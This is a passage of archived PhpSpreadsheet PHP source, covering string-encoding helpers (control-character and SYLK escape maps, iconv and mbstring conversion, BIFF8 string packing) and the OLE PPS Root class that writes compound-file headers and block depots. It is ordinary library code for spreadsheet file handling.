Exception. */ public static function testFileNoThrow(string $filename, ?string $zipMember = null): bool { if (!is_file($filename)) { return false; } if (!is_readable($filename)) { return false; } if ($zipMember === null) { return true; } // validate zip, but don't check specific member if ($zipMember === '') { return self::validateZipFirst4($filename); } $zipfile = "zip://$filename#$zipMember"; if (self::fileExists($zipfile)) { return true; } // Has the file been saved with Windoze directory separators rather than unix? $zipfile = "zip://$filename#" . str_replace('/', '\\', $zipMember); return self::fileExists($zipfile); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/StringHelper.php000064400000055272151676714400021607 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared; class StringHelper { /** * Control characters array. * * @var string[] */ private static array $controlCharacters = []; /** * SYLK Characters array. */ private static array $SYLKCharacters = []; /** * Decimal separator. */ private static ?string $decimalSeparator; /** * Thousands separator. */ private static ?string $thousandsSeparator; /** * Currency code. */ private static ?string $currencyCode; /** * Is iconv extension avalable? */ private static ?bool $isIconvEnabled; /** * iconv options. */ private static string $iconvOptions = '//IGNORE//TRANSLIT'; /** * Build control characters array. */ private static function buildControlCharacters(): void { for ($i = 0; $i <= 31; ++$i) { if ($i != 9 && $i != 10 && $i != 13) { $find = '_x' . sprintf('%04s', strtoupper(dechex($i))) . '_'; $replace = chr($i); self::$controlCharacters[$find] = $replace; } } } /** * Build SYLK characters array. */ private static function buildSYLKCharacters(): void { self::$SYLKCharacters = [ "\x1B 0" => chr(0), "\x1B 1" => chr(1), "\x1B 2" => chr(2), "\x1B 3" => chr(3), "\x1B 4" => chr(4), "\x1B 5" => chr(5), "\x1B 6" => chr(6), "\x1B 7" => chr(7), "\x1B 8" => chr(8), "\x1B 9" => chr(9), "\x1B :" => chr(10), "\x1B ;" => chr(11), "\x1B <" => chr(12), "\x1B =" => chr(13), "\x1B >" => chr(14), "\x1B ?" => chr(15), "\x1B!0" => chr(16), "\x1B!1" => chr(17), "\x1B!2" => chr(18), "\x1B!3" => chr(19), "\x1B!4" => chr(20), "\x1B!5" => chr(21), "\x1B!6" => chr(22), "\x1B!7" => chr(23), "\x1B!8" => chr(24), "\x1B!9" => chr(25), "\x1B!:" => chr(26), "\x1B!;" => chr(27), "\x1B!<" => chr(28), "\x1B!=" => chr(29), "\x1B!>" => chr(30), "\x1B!?" => chr(31), "\x1B'?" => chr(127), "\x1B(0" => '€', // 128 in CP1252 "\x1B(2" => '‚', // 130 in CP1252 "\x1B(3" => 'ƒ', // 131 in CP1252 "\x1B(4" => '„', // 132 in CP1252 "\x1B(5" => '…', // 133 in CP1252 "\x1B(6" => '†', // 134 in CP1252 "\x1B(7" => '‡', // 135 in CP1252 "\x1B(8" => 'ˆ', // 136 in CP1252 "\x1B(9" => '‰', // 137 in CP1252 "\x1B(:" => 'Š', // 138 in CP1252 "\x1B(;" => '‹', // 139 in CP1252 "\x1BNj" => 'Œ', // 140 in CP1252 "\x1B(>" => 'Ž', // 142 in CP1252 "\x1B)1" => '‘', // 145 in CP1252 "\x1B)2" => '’', // 146 in CP1252 "\x1B)3" => '“', // 147 in CP1252 "\x1B)4" => '”', // 148 in CP1252 "\x1B)5" => '•', // 149 in CP1252 "\x1B)6" => '–', // 150 in CP1252 "\x1B)7" => '—', // 151 in CP1252 "\x1B)8" => '˜', // 152 in CP1252 "\x1B)9" => '™', // 153 in CP1252 "\x1B):" => 'š', // 154 in CP1252 "\x1B);" => '›', // 155 in CP1252 "\x1BNz" => 'œ', // 156 in CP1252 "\x1B)>" => 'ž', // 158 in CP1252 "\x1B)?" => 'Ÿ', // 159 in CP1252 "\x1B*0" => ' ', // 160 in CP1252 "\x1BN!" => '¡', // 161 in CP1252 "\x1BN\"" => '¢', // 162 in CP1252 "\x1BN#" => '£', // 163 in CP1252 "\x1BN(" => '¤', // 164 in CP1252 "\x1BN%" => '¥', // 165 in CP1252 "\x1B*6" => '¦', // 166 in CP1252 "\x1BN'" => '§', // 167 in CP1252 "\x1BNH " => '¨', // 168 in CP1252 "\x1BNS" => '©', // 169 in CP1252 "\x1BNc" => 'ª', // 170 in CP1252 "\x1BN+" => '«', // 171 in CP1252 "\x1B*<" => '¬', // 172 in CP1252 "\x1B*=" => '', // 173 in CP1252 "\x1BNR" => '®', // 174 in CP1252 "\x1B*?" => '¯', // 175 in CP1252 "\x1BN0" => '°', // 176 in CP1252 "\x1BN1" => '±', // 177 in CP1252 "\x1BN2" => '²', // 178 in CP1252 "\x1BN3" => '³', // 179 in CP1252 "\x1BNB " => '´', // 180 in CP1252 "\x1BN5" => 'µ', // 181 in CP1252 "\x1BN6" => '¶', // 182 in CP1252 "\x1BN7" => '·', // 183 in CP1252 "\x1B+8" => '¸', // 184 in CP1252 "\x1BNQ" => '¹', // 185 in CP1252 "\x1BNk" => 'º', // 186 in CP1252 "\x1BN;" => '»', // 187 in CP1252 "\x1BN<" => '¼', // 188 in CP1252 "\x1BN=" => '½', // 189 in CP1252 "\x1BN>" => '¾', // 190 in CP1252 "\x1BN?" => '¿', // 191 in CP1252 "\x1BNAA" => 'À', // 192 in CP1252 "\x1BNBA" => 'Á', // 193 in CP1252 "\x1BNCA" => 'Â', // 194 in CP1252 "\x1BNDA" => 'Ã', // 195 in CP1252 "\x1BNHA" => 'Ä', // 196 in CP1252 "\x1BNJA" => 'Å', // 197 in CP1252 "\x1BNa" => 'Æ', // 198 in CP1252 "\x1BNKC" => 'Ç', // 199 in CP1252 "\x1BNAE" => 'È', // 200 in CP1252 "\x1BNBE" => 'É', // 201 in CP1252 "\x1BNCE" => 'Ê', // 202 in CP1252 "\x1BNHE" => 'Ë', // 203 in CP1252 "\x1BNAI" => 'Ì', // 204 in CP1252 "\x1BNBI" => 'Í', // 205 in CP1252 "\x1BNCI" => 'Î', // 206 in CP1252 "\x1BNHI" => 'Ï', // 207 in CP1252 "\x1BNb" => 'Ð', // 208 in CP1252 "\x1BNDN" => 'Ñ', // 209 in CP1252 "\x1BNAO" => 'Ò', // 210 in CP1252 "\x1BNBO" => 'Ó', // 211 in CP1252 "\x1BNCO" => 'Ô', // 212 in CP1252 "\x1BNDO" => 'Õ', // 213 in CP1252 "\x1BNHO" => 'Ö', // 214 in CP1252 "\x1B-7" => '×', // 215 in CP1252 "\x1BNi" => 'Ø', // 216 in CP1252 "\x1BNAU" => 'Ù', // 217 in CP1252 "\x1BNBU" => 'Ú', // 218 in CP1252 "\x1BNCU" => 'Û', // 219 in CP1252 "\x1BNHU" => 'Ü', // 220 in CP1252 "\x1B-=" => 'Ý', // 221 in CP1252 "\x1BNl" => 'Þ', // 222 in CP1252 "\x1BN{" => 'ß', // 223 in CP1252 "\x1BNAa" => 'à', // 224 in CP1252 "\x1BNBa" => 'á', // 225 in CP1252 "\x1BNCa" => 'â', // 226 in CP1252 "\x1BNDa" => 'ã', // 227 in CP1252 "\x1BNHa" => 'ä', // 228 in CP1252 "\x1BNJa" => 'å', // 229 in CP1252 "\x1BNq" => 'æ', // 230 in CP1252 "\x1BNKc" => 'ç', // 231 in CP1252 "\x1BNAe" => 'è', // 232 in CP1252 "\x1BNBe" => 'é', // 233 in CP1252 "\x1BNCe" => 'ê', // 234 in CP1252 "\x1BNHe" => 'ë', // 235 in CP1252 "\x1BNAi" => 'ì', // 236 in CP1252 "\x1BNBi" => 'í', // 237 in CP1252 "\x1BNCi" => 'î', // 238 in CP1252 "\x1BNHi" => 'ï', // 239 in CP1252 "\x1BNs" => 'ð', // 240 in CP1252 "\x1BNDn" => 'ñ', // 241 in CP1252 "\x1BNAo" => 'ò', // 242 in CP1252 "\x1BNBo" => 'ó', // 243 in CP1252 "\x1BNCo" => 'ô', // 244 in CP1252 "\x1BNDo" => 'õ', // 245 in CP1252 "\x1BNHo" => 'ö', // 246 in CP1252 "\x1B/7" => '÷', // 247 in CP1252 "\x1BNy" => 'ø', // 248 in CP1252 "\x1BNAu" => 'ù', // 249 in CP1252 "\x1BNBu" => 'ú', // 250 in CP1252 "\x1BNCu" => 'û', // 251 in CP1252 "\x1BNHu" => 'ü', // 252 in CP1252 "\x1B/=" => 'ý', // 253 in CP1252 "\x1BN|" => 'þ', // 254 in CP1252 "\x1BNHy" => 'ÿ', // 255 in CP1252 ]; } /** * Get whether iconv extension is available. */ public static function getIsIconvEnabled(): bool { if (isset(self::$isIconvEnabled)) { return self::$isIconvEnabled; } // Assume no problems with iconv self::$isIconvEnabled = true; // Fail if iconv doesn't exist if (!function_exists('iconv')) { self::$isIconvEnabled = false; } elseif (!@iconv('UTF-8', 'UTF-16LE', 'x')) { // Sometimes iconv is not working, and e.g. iconv('UTF-8', 'UTF-16LE', 'x') just returns false, self::$isIconvEnabled = false; } elseif (defined('PHP_OS') && @stristr(PHP_OS, 'AIX') && defined('ICONV_IMPL') && (@strcasecmp(ICONV_IMPL, 'unknown') == 0) && defined('ICONV_VERSION') && (@strcasecmp(ICONV_VERSION, 'unknown') == 0)) { // CUSTOM: IBM AIX iconv() does not work self::$isIconvEnabled = false; } // Deactivate iconv default options if they fail (as seen on IMB i) if (self::$isIconvEnabled && !@iconv('UTF-8', 'UTF-16LE' . self::$iconvOptions, 'x')) { self::$iconvOptions = ''; } return self::$isIconvEnabled; } private static function buildCharacterSets(): void { if (empty(self::$controlCharacters)) { self::buildControlCharacters(); } if (empty(self::$SYLKCharacters)) { self::buildSYLKCharacters(); } } /** * Convert from OpenXML escaped control character to PHP control character. * * Excel 2007 team: * ---------------- * That's correct, control characters are stored directly in the shared-strings table. * We do encode characters that cannot be represented in XML using the following escape sequence: * _xHHHH_ where H represents a hexadecimal character in the character's value... * So you could end up with something like _x0008_ in a string (either in a cell value (<v>) * element or in the shared string <t> element. * * @param string $textValue Value to unescape */ public static function controlCharacterOOXML2PHP(string $textValue): string { self::buildCharacterSets(); return str_replace(array_keys(self::$controlCharacters), array_values(self::$controlCharacters), $textValue); } /** * Convert from PHP control character to OpenXML escaped control character. * * Excel 2007 team: * ---------------- * That's correct, control characters are stored directly in the shared-strings table. * We do encode characters that cannot be represented in XML using the following escape sequence: * _xHHHH_ where H represents a hexadecimal character in the character's value... * So you could end up with something like _x0008_ in a string (either in a cell value (<v>) * element or in the shared string <t> element. * * @param string $textValue Value to escape */ public static function controlCharacterPHP2OOXML(string $textValue): string { self::buildCharacterSets(); return str_replace(array_values(self::$controlCharacters), array_keys(self::$controlCharacters), $textValue); } /** * Try to sanitize UTF8, replacing invalid sequences with Unicode substitution characters. */ public static function sanitizeUTF8(string $textValue): string { $textValue = str_replace(["\xef\xbf\xbe", "\xef\xbf\xbf"], "\xef\xbf\xbd", $textValue); $subst = mb_substitute_character(); // default is question mark mb_substitute_character(65533); // Unicode substitution character // Phpstan does not think this can return false. $returnValue = mb_convert_encoding($textValue, 'UTF-8', 'UTF-8'); mb_substitute_character($subst); return $returnValue; } /** * Check if a string contains UTF8 data. */ public static function isUTF8(string $textValue): bool { return $textValue === self::sanitizeUTF8($textValue); } /** * Formats a numeric value as a string for output in various output writers forcing * point as decimal separator in case locale is other than English. */ public static function formatNumber(float|int|string|null $numericValue): string { if (is_float($numericValue)) { return str_replace(',', '.', (string) $numericValue); } return (string) $numericValue; } /** * Converts a UTF-8 string into BIFF8 Unicode string data (8-bit string length) * Writes the string using uncompressed notation, no rich text, no Asian phonetics * If mbstring extension is not available, ASCII is assumed, and compressed notation is used * although this will give wrong results for non-ASCII strings * see OpenOffice.org's Documentation of the Microsoft Excel File Format, sect. 2.5.3. * * @param string $textValue UTF-8 encoded string * @param array<int, array{strlen: int, fontidx: int}> $arrcRuns Details of rich text runs in $value */ public static function UTF8toBIFF8UnicodeShort(string $textValue, array $arrcRuns = []): string { // character count $ln = self::countCharacters($textValue, 'UTF-8'); // option flags if (empty($arrcRuns)) { $data = pack('CC', $ln, 0x0001); // characters $data .= self::convertEncoding($textValue, 'UTF-16LE', 'UTF-8'); } else { $data = pack('vC', $ln, 0x09); $data .= pack('v', count($arrcRuns)); // characters $data .= self::convertEncoding($textValue, 'UTF-16LE', 'UTF-8'); foreach ($arrcRuns as $cRun) { $data .= pack('v', $cRun['strlen']); $data .= pack('v', $cRun['fontidx']); } } return $data; } /** * Converts a UTF-8 string into BIFF8 Unicode string data (16-bit string length) * Writes the string using uncompressed notation, no rich text, no Asian phonetics * If mbstring extension is not available, ASCII is assumed, and compressed notation is used * although this will give wrong results for non-ASCII strings * see OpenOffice.org's Documentation of the Microsoft Excel File Format, sect. 2.5.3. * * @param string $textValue UTF-8 encoded string */ public static function UTF8toBIFF8UnicodeLong(string $textValue): string { // characters $chars = self::convertEncoding($textValue, 'UTF-16LE', 'UTF-8'); $ln = (int) (strlen($chars) / 2); // N.B. - strlen, not mb_strlen issue #642 return pack('vC', $ln, 0x0001) . $chars; } /** * Convert string from one encoding to another. * * @param string $to Encoding to convert to, e.g. 'UTF-8' * @param string $from Encoding to convert from, e.g. 'UTF-16LE' */ public static function convertEncoding(string $textValue, string $to, string $from): string { if (self::getIsIconvEnabled()) { $result = iconv($from, $to . self::$iconvOptions, $textValue); if (false !== $result) { return $result; } } return mb_convert_encoding($textValue, $to, $from); } /** * Get character count. * * @param string $encoding Encoding * * @return int Character count */ public static function countCharacters(string $textValue, string $encoding = 'UTF-8'): int { return mb_strlen($textValue, $encoding); } /** * Get character count using mb_strwidth rather than mb_strlen. * * @param string $encoding Encoding * * @return int Character count */ public static function countCharactersDbcs(string $textValue, string $encoding = 'UTF-8'): int { return mb_strwidth($textValue, $encoding); } /** * Get a substring of a UTF-8 encoded string. * * @param string $textValue UTF-8 encoded string * @param int $offset Start offset * @param ?int $length Maximum number of characters in substring */ public static function substring(string $textValue, int $offset, ?int $length = 0): string { return mb_substr($textValue, $offset, $length, 'UTF-8'); } /** * Convert a UTF-8 encoded string to upper case. * * @param string $textValue UTF-8 encoded string */ public static function strToUpper(string $textValue): string { return mb_convert_case($textValue, MB_CASE_UPPER, 'UTF-8'); } /** * Convert a UTF-8 encoded string to lower case. * * @param string $textValue UTF-8 encoded string */ public static function strToLower(string $textValue): string { return mb_convert_case($textValue, MB_CASE_LOWER, 'UTF-8'); } /** * Convert a UTF-8 encoded string to title/proper case * (uppercase every first character in each word, lower case all other characters). * * @param string $textValue UTF-8 encoded string */ public static function strToTitle(string $textValue): string { return mb_convert_case($textValue, MB_CASE_TITLE, 'UTF-8'); } public static function mbIsUpper(string $character): bool { return mb_strtolower($character, 'UTF-8') !== $character; } /** * Splits a UTF-8 string into an array of individual characters. */ public static function mbStrSplit(string $string): array { // Split at all position not after the start: ^ // and not before the end: $ $split = preg_split('/(?<!^)(?!$)/u', $string); return ($split === false) ? [] : $split; } /** * Reverse the case of a string, so that all uppercase characters become lowercase * and all lowercase characters become uppercase. * * @param string $textValue UTF-8 encoded string */ public static function strCaseReverse(string $textValue): string { $characters = self::mbStrSplit($textValue); foreach ($characters as &$character) { if (self::mbIsUpper($character)) { $character = mb_strtolower($character, 'UTF-8'); } else { $character = mb_strtoupper($character, 'UTF-8'); } } return implode('', $characters); } /** * Get the decimal separator. If it has not yet been set explicitly, try to obtain number * formatting information from locale. */ public static function getDecimalSeparator(): string { if (!isset(self::$decimalSeparator)) { $localeconv = localeconv(); self::$decimalSeparator = ($localeconv['decimal_point'] != '') ? $localeconv['decimal_point'] : $localeconv['mon_decimal_point']; if (self::$decimalSeparator == '') { // Default to . self::$decimalSeparator = '.'; } } return self::$decimalSeparator; } /** * Set the decimal separator. Only used by NumberFormat::toFormattedString() * to format output by \PhpOffice\PhpSpreadsheet\Writer\Html and \PhpOffice\PhpSpreadsheet\Writer\Pdf. * * @param ?string $separator Character for decimal separator */ public static function setDecimalSeparator(?string $separator): void { self::$decimalSeparator = $separator; } /** * Get the thousands separator. If it has not yet been set explicitly, try to obtain number * formatting information from locale. */ public static function getThousandsSeparator(): string { if (!isset(self::$thousandsSeparator)) { $localeconv = localeconv(); self::$thousandsSeparator = ($localeconv['thousands_sep'] != '') ? $localeconv['thousands_sep'] : $localeconv['mon_thousands_sep']; if (self::$thousandsSeparator == '') { // Default to . self::$thousandsSeparator = ','; } } return self::$thousandsSeparator; } /** * Set the thousands separator. Only used by NumberFormat::toFormattedString() * to format output by \PhpOffice\PhpSpreadsheet\Writer\Html and \PhpOffice\PhpSpreadsheet\Writer\Pdf. * * @param ?string $separator Character for thousands separator */ public static function setThousandsSeparator(?string $separator): void { self::$thousandsSeparator = $separator; } /** * Get the currency code. If it has not yet been set explicitly, try to obtain the * symbol information from locale. */ public static function getCurrencyCode(): string { if (!empty(self::$currencyCode)) { return self::$currencyCode; } self::$currencyCode = '$'; $localeconv = localeconv(); if (!empty($localeconv['currency_symbol'])) { self::$currencyCode = $localeconv['currency_symbol']; return self::$currencyCode; } if (!empty($localeconv['int_curr_symbol'])) { self::$currencyCode = $localeconv['int_curr_symbol']; return self::$currencyCode; } return self::$currencyCode; } /** * Set the currency code. Only used by NumberFormat::toFormattedString() * to format output by \PhpOffice\PhpSpreadsheet\Writer\Html and \PhpOffice\PhpSpreadsheet\Writer\Pdf. * * @param ?string $currencyCode Character for currency code */ public static function setCurrencyCode(?string $currencyCode): void { self::$currencyCode = $currencyCode; } /** * Convert SYLK encoded string to UTF-8. * * @param string $textValue SYLK encoded string * * @return string UTF-8 encoded string */ public static function SYLKtoUTF8(string $textValue): string { self::buildCharacterSets(); // If there is no escape character in the string there is nothing to do if (!str_contains($textValue, '')) { return $textValue; } foreach (self::$SYLKCharacters as $k => $v) { $textValue = str_replace($k, $v, $textValue); } return $textValue; } /** * Retrieve any leading numeric part of a string, or return the full string if no leading numeric * (handles basic integer or float, but not exponent or non decimal). * * @return float|string string or only the leading numeric part of the string */ public static function testStringAsNumeric(string $textValue): float|string { if (is_numeric($textValue)) { return $textValue; } $v = (float) $textValue; return (is_numeric(substr($textValue, 0, strlen((string) $v)))) ? $v : $textValue; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/OLE/PPS/Root.php000064400000034751151676714400021204 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared\OLE\PPS; // vim: set expandtab tabstop=4 shiftwidth=4: // +----------------------------------------------------------------------+ // | PHP Version 4 | // +----------------------------------------------------------------------+ // | Copyright (c) 1997-2002 The PHP Group | // +----------------------------------------------------------------------+ // | This source file is subject to version 2.02 of the PHP license, | // | that is bundled with this package in the file LICENSE, and is | // | available at through the world-wide-web at | // | http://www.php.net/license/2_02.txt. | // | If you did not receive a copy of the PHP license and are unable to | // | obtain it through the world-wide-web, please send a note to | // | license@php.net so we can mail you a copy immediately. | // +----------------------------------------------------------------------+ // | Author: Xavier Noguer <xnoguer@php.net> | // | Based on OLE::Storage_Lite by Kawai, Takanori | // +----------------------------------------------------------------------+ // use PhpOffice\PhpSpreadsheet\Shared\OLE; use PhpOffice\PhpSpreadsheet\Shared\OLE\PPS; /** * Class for creating Root PPS's for OLE containers. * * @author Xavier Noguer <xnoguer@php.net> */ class Root extends PPS { /** * @var resource */ private $fileHandle; private ?int $smallBlockSize = null; private ?int $bigBlockSize = null; /** * @param null|float|int $time_1st A timestamp * @param null|float|int $time_2nd A timestamp * @param File[] $raChild */ public function __construct($time_1st, $time_2nd, array $raChild) { parent::__construct(null, OLE::ascToUcs('Root Entry'), OLE::OLE_PPS_TYPE_ROOT, null, null, null, $time_1st, $time_2nd, null, $raChild); } /** * Method for saving the whole OLE container (including files). * In fact, if called with an empty argument (or '-'), it saves to a * temporary file and then outputs it's contents to stdout. * If a resource pointer to a stream created by fopen() is passed * it will be used, but you have to close such stream by yourself. * * @param resource $fileHandle the name of the file or stream where to save the OLE container * * @return bool true on success */ public function save($fileHandle): bool { $this->fileHandle = $fileHandle; // Initial Setting for saving $this->bigBlockSize = (int) (2 ** ( (isset($this->bigBlockSize)) ? self::adjust2($this->bigBlockSize) : 9 )); $this->smallBlockSize = (int) (2 ** ( (isset($this->smallBlockSize)) ? self::adjust2($this->smallBlockSize) : 6 )); // Make an array of PPS's (for Save) $aList = []; PPS::savePpsSetPnt($aList, [$this]); // calculate values for header [$iSBDcnt, $iBBcnt, $iPPScnt] = $this->calcSize($aList); //, $rhInfo); // Save Header $this->saveHeader((int) $iSBDcnt, (int) $iBBcnt, (int) $iPPScnt); // Make Small Data string (write SBD) $this->_data = $this->makeSmallData($aList); // Write BB $this->saveBigData((int) $iSBDcnt, $aList); // Write PPS $this->savePps($aList); // Write Big Block Depot and BDList and Adding Header informations $this->saveBbd((int) $iSBDcnt, (int) $iBBcnt, (int) $iPPScnt); return true; } /** * Calculate some numbers. * * @param array $raList Reference to an array of PPS's * * @return float[] The array of numbers */ private function calcSize(array &$raList): array { // Calculate Basic Setting [$iSBDcnt, $iBBcnt, $iPPScnt] = [0, 0, 0]; $iSBcnt = 0; $iCount = count($raList); for ($i = 0; $i < $iCount; ++$i) { if ($raList[$i]->Type == OLE::OLE_PPS_TYPE_FILE) { $raList[$i]->Size = $raList[$i]->getDataLen(); if ($raList[$i]->Size < OLE::OLE_DATA_SIZE_SMALL) { $iSBcnt += floor($raList[$i]->Size / $this->smallBlockSize) + (($raList[$i]->Size % $this->smallBlockSize) ? 1 : 0); } else { $iBBcnt += (floor($raList[$i]->Size / $this->bigBlockSize) + (($raList[$i]->Size % $this->bigBlockSize) ? 1 : 0)); } } } $iSmallLen = $iSBcnt * $this->smallBlockSize; $iSlCnt = floor($this->bigBlockSize / OLE::OLE_LONG_INT_SIZE); $iSBDcnt = floor($iSBcnt / $iSlCnt) + (($iSBcnt % $iSlCnt) ? 1 : 0); $iBBcnt += (floor($iSmallLen / $this->bigBlockSize) + (($iSmallLen % $this->bigBlockSize) ? 1 : 0)); $iCnt = count($raList); $iBdCnt = $this->bigBlockSize / OLE::OLE_PPS_SIZE; $iPPScnt = (floor($iCnt / $iBdCnt) + (($iCnt % $iBdCnt) ? 1 : 0)); return [$iSBDcnt, $iBBcnt, $iPPScnt]; } /** * Helper function for caculating a magic value for block sizes. * * @param int $i2 The argument * * @see save() */ private static function adjust2(int $i2): float { $iWk = log($i2) / log(2); return ($iWk > floor($iWk)) ? floor($iWk) + 1 : $iWk; } /** * Save OLE header. */ private function saveHeader(int $iSBDcnt, int $iBBcnt, int $iPPScnt): void { $FILE = $this->fileHandle; // Calculate Basic Setting $iBlCnt = $this->bigBlockSize / OLE::OLE_LONG_INT_SIZE; $i1stBdL = ($this->bigBlockSize - 0x4C) / OLE::OLE_LONG_INT_SIZE; $iBdExL = 0; $iAll = $iBBcnt + $iPPScnt + $iSBDcnt; $iAllW = $iAll; $iBdCntW = floor($iAllW / $iBlCnt) + (($iAllW % $iBlCnt) ? 1 : 0); $iBdCnt = floor(($iAll + $iBdCntW) / $iBlCnt) + ((($iAllW + $iBdCntW) % $iBlCnt) ? 1 : 0); // Calculate BD count if ($iBdCnt > $i1stBdL) { while (1) { ++$iBdExL; ++$iAllW; $iBdCntW = floor($iAllW / $iBlCnt) + (($iAllW % $iBlCnt) ? 1 : 0); $iBdCnt = floor(($iAllW + $iBdCntW) / $iBlCnt) + ((($iAllW + $iBdCntW) % $iBlCnt) ? 1 : 0); if ($iBdCnt <= ($iBdExL * $iBlCnt + $i1stBdL)) { break; } } } // Save Header fwrite( $FILE, "\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1" . "\x00\x00\x00\x00" . "\x00\x00\x00\x00" . "\x00\x00\x00\x00" . "\x00\x00\x00\x00" . pack('v', 0x3B) . pack('v', 0x03) . pack('v', -2) . pack('v', 9) . pack('v', 6) . pack('v', 0) . "\x00\x00\x00\x00" . "\x00\x00\x00\x00" . pack('V', $iBdCnt) . pack('V', $iBBcnt + $iSBDcnt) //ROOT START . pack('V', 0) . pack('V', 0x1000) . pack('V', $iSBDcnt ? 0 : -2) //Small Block Depot . pack('V', $iSBDcnt) ); // Extra BDList Start, Count if ($iBdCnt < $i1stBdL) { fwrite( $FILE, pack('V', -2) // Extra BDList Start . pack('V', 0)// Extra BDList Count ); } else { fwrite($FILE, pack('V', $iAll + $iBdCnt) . pack('V', $iBdExL)); } // BDList for ($i = 0; $i < $i1stBdL && $i < $iBdCnt; ++$i) { fwrite($FILE, pack('V', $iAll + $i)); } if ($i < $i1stBdL) { $jB = $i1stBdL - $i; for ($j = 0; $j < $jB; ++$j) { fwrite($FILE, (pack('V', -1))); } } } /** * Saving big data (PPS's with data bigger than \PhpOffice\PhpSpreadsheet\Shared\OLE::OLE_DATA_SIZE_SMALL). * * @param array $raList Reference to array of PPS's */ private function saveBigData(int $iStBlk, array &$raList): void { $FILE = $this->fileHandle; // cycle through PPS's $iCount = count($raList); for ($i = 0; $i < $iCount; ++$i) { if ($raList[$i]->Type != OLE::OLE_PPS_TYPE_DIR) { $raList[$i]->Size = $raList[$i]->getDataLen(); if (($raList[$i]->Size >= OLE::OLE_DATA_SIZE_SMALL) || (($raList[$i]->Type == OLE::OLE_PPS_TYPE_ROOT) && isset($raList[$i]->_data))) { fwrite($FILE, $raList[$i]->_data); if ($raList[$i]->Size % $this->bigBlockSize) { fwrite($FILE, str_repeat("\x00", $this->bigBlockSize - ($raList[$i]->Size % $this->bigBlockSize))); } // Set For PPS $raList[$i]->startBlock = $iStBlk; $iStBlk += (floor($raList[$i]->Size / $this->bigBlockSize) + (($raList[$i]->Size % $this->bigBlockSize) ? 1 : 0)); } } } } /** * get small data (PPS's with data smaller than \PhpOffice\PhpSpreadsheet\Shared\OLE::OLE_DATA_SIZE_SMALL). * * @param array $raList Reference to array of PPS's */ private function makeSmallData(array &$raList): string { $sRes = ''; $FILE = $this->fileHandle; $iSmBlk = 0; $iCount = count($raList); for ($i = 0; $i < $iCount; ++$i) { // Make SBD, small data string if ($raList[$i]->Type == OLE::OLE_PPS_TYPE_FILE) { if ($raList[$i]->Size <= 0) { continue; } if ($raList[$i]->Size < OLE::OLE_DATA_SIZE_SMALL) { $iSmbCnt = floor($raList[$i]->Size / $this->smallBlockSize) + (($raList[$i]->Size % $this->smallBlockSize) ? 1 : 0); // Add to SBD $jB = $iSmbCnt - 1; for ($j = 0; $j < $jB; ++$j) { fwrite($FILE, pack('V', $j + $iSmBlk + 1)); } fwrite($FILE, pack('V', -2)); // Add to Data String(this will be written for RootEntry) $sRes .= $raList[$i]->_data; if ($raList[$i]->Size % $this->smallBlockSize) { $sRes .= str_repeat("\x00", $this->smallBlockSize - ($raList[$i]->Size % $this->smallBlockSize)); } // Set for PPS $raList[$i]->startBlock = $iSmBlk; $iSmBlk += $iSmbCnt; } } } $iSbCnt = floor($this->bigBlockSize / OLE::OLE_LONG_INT_SIZE); if ($iSmBlk % $iSbCnt) { $iB = $iSbCnt - ($iSmBlk % $iSbCnt); for ($i = 0; $i < $iB; ++$i) { fwrite($FILE, pack('V', -1)); } } return $sRes; } /** * Saves all the PPS's WKs. * * @param array $raList Reference to an array with all PPS's */ private function savePps(array &$raList): void { // Save each PPS WK $iC = count($raList); for ($i = 0; $i < $iC; ++$i) { fwrite($this->fileHandle, $raList[$i]->getPpsWk()); } // Adjust for Block $iCnt = count($raList); $iBCnt = $this->bigBlockSize / OLE::OLE_PPS_SIZE; if ($iCnt % $iBCnt) { fwrite($this->fileHandle, str_repeat("\x00", ($iBCnt - ($iCnt % $iBCnt)) * OLE::OLE_PPS_SIZE)); } } /** * Saving Big Block Depot. */ private function saveBbd(int $iSbdSize, int $iBsize, int $iPpsCnt): void { $FILE = $this->fileHandle; // Calculate Basic Setting $iBbCnt = $this->bigBlockSize / OLE::OLE_LONG_INT_SIZE; $i1stBdL = ($this->bigBlockSize - 0x4C) / OLE::OLE_LONG_INT_SIZE; $iBdExL = 0; $iAll = $iBsize + $iPpsCnt + $iSbdSize; $iAllW = $iAll; $iBdCntW = floor($iAllW / $iBbCnt) + (($iAllW % $iBbCnt) ? 1 : 0); $iBdCnt = floor(($iAll + $iBdCntW) / $iBbCnt) + ((($iAllW + $iBdCntW) % $iBbCnt) ? 1 : 0); // Calculate BD count if ($iBdCnt > $i1stBdL) { while (1) { ++$iBdExL; ++$iAllW; $iBdCntW = floor($iAllW / $iBbCnt) + (($iAllW % $iBbCnt) ? 1 : 0); $iBdCnt = floor(($iAllW + $iBdCntW) / $iBbCnt) + ((($iAllW + $iBdCntW) % $iBbCnt) ? 1 : 0); if ($iBdCnt <= ($iBdExL * $iBbCnt + $i1stBdL)) { break; } } } // Making BD // Set for SBD if ($iSbdSize > 0) { for ($i = 0; $i < ($iSbdSize - 1); ++$i) { fwrite($FILE, pack('V', $i + 1)); } fwrite($FILE, pack('V', -2)); } // Set for B for ($i = 0; $i < ($iBsize - 1); ++$i) { fwrite($FILE, pack('V', $i + $iSbdSize + 1)); } fwrite($FILE, pack('V', -2)); // Set for PPS for ($i = 0; $i < ($iPpsCnt - 1); ++$i) { fwrite($FILE, pack('V', $i + $iSbdSize + $iBsize + 1)); } fwrite($FILE, pack('V', -2)); // Set for BBD itself ( 0xFFFFFFFD : BBD) for ($i = 0; $i < $iBdCnt; ++$i) { fwrite($FILE, pack('V', 0xFFFFFFFD)); } // Set for ExtraBDList for ($i = 0; $i < $iBdExL; ++$i) { fwrite($FILE, pack('V', 0xFFFFFFFC)); } // Adjust for Block if (($iAllW + $iBdCnt) % $iBbCnt) { $iBlock = ($iBbCnt - (($iAllW + $iBdCnt) % $iBbCnt)); for ($i = 0; $i < $iBlock; ++$i) { fwrite($FILE, pack('V', -1)); } } // Extra BDList if ($iBdCnt > $i1stBdL) { $iN = 0; $iNb = 0; for ($i = $i1stBdL; $i < $iBdCnt; $i++, ++$iN) { if ($iN >= ($iBbCnt - 1)) { $iN = 0; ++$iNb; fwrite($FILE, pack('V', $iAll + $iBdCnt + $iNb)); } fwrite($FILE, pack('V', $iBsize + $iSbdSize + $iPpsCnt + $i)); } if (($iBdCnt - $i1stBdL) % ($iBbCnt - 1)) { 